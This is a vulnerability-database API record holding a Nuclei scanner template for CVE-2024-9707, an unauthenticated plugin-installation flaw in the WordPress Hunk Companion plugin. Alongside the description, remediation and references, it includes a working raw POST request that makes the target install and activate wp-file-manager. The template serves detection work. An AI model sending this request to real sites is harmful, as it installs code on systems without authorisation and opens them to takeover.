{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-9707/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-9707/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-9707/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-9707/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-9707/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-9707"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-9707"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-9707.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-9707\n\ninfo:\n  name: Hunk Companion <= 1.8.4 - Arbitrary Plugin Installation\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    The Hunk Companion plugin for WordPress is vulnerable to unauthorized plugin installation/activation due to a missing capability check on the /wp-json/hc/v1/themehunk-import REST API endpoint in all versions up to, and including, 1.8.4. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.\n  impact: |\n    Unauthenticated attackers can install and activate arbitrary WordPress plugins, potentially achieving remote code execution if a vulnerable plugin is installed and activated on the target site.\n  remediation: |\n    Update Hunk Companion plugin to a version later than 1.8.4 that implements proper capability checks on the /wp-json/hc/v1/themehunk-import REST API endpoint.\n  reference:\n    - https://wordpress.org/plugins/hunk-companion/\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9c101fca-037c-4bed-9dc7-baa021a8b59c?source=cve\n    - https://github.com/iSee857/CVE-PoC/blob/main/WordPress_Hunk_Companion(CVE-2024-9707).py\n    - https://github.com/RandomRobbieBF/CVE-2024-9707\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-9707\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-9707\n    cwe-id: CWE-862\n    epss-score: 0.09078\n    epss-percentile: 0.95112\n    cpe: cpe:2.3:a:themehunk:hunk_companion:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: themehunk\n    product: hunk_companion\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/hunk-companion/\"\n  tags: cve,cve2024,wp,wp-plugin,wordpress,hunk-companion,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wp-json/hc/v1/themehunk-import HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"params\": {\"templateType\": \"free\", \"plugin\": {\"wp-file-manager\": \"Wp File Manager\"}, \"allPlugins\": [{\"wp-file-manager\": \"wp-file-manager/wp-file-manager.php\"}], \"builder\": \"gogo\", \"themeSlug\": \"gogo\", \"proThemePlugin\": \"wp-file-manager\", \"tmplFreePro\": \"plugin\", \"wpUrl\": \"https://downloads.wordpress.org/\", \"thUrl\": \"https://themehunk.com/wp/data/\"}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"\\\"https:\\\\\\/\\\\\\/'\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207de8f3a9654ce6ca76a99581da5107f67e8251ce174cff7482df179257d90565022100f9bc7593fb74014e2c84463d7dd24a8cab49992ab42286bb9f1b05348e4caa06:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-9707"
}